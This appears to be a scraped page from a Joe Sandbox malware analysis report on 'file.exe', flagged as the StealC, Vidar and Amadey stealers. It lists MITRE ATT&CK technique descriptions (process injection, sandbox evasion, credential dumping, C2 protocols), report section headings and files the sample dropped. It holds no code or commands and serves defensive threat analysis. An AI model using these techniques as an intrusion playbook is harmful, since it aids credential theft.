Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\BFHDHJKKJDHJJJJKEGHIDGDHDA

C:\ProgramData\DHDHCGHDHIDHCBGCBGCAEBAKEH

C:\ProgramData\DHIDHIEGIIIECAKEBFBA

C:\ProgramData\EHDGIJJDGCBKFIDHIEBKECGIJD

C:\ProgramData\FHCGCFHDHIIIDGCAAEGD

C:\ProgramData\HCAEBFBK

C:\ProgramData\IECFHDBA

C:\ProgramData\IJJKKJJDAAAAAKFHJJDG

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

Windows Analysis Report
file.exe

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre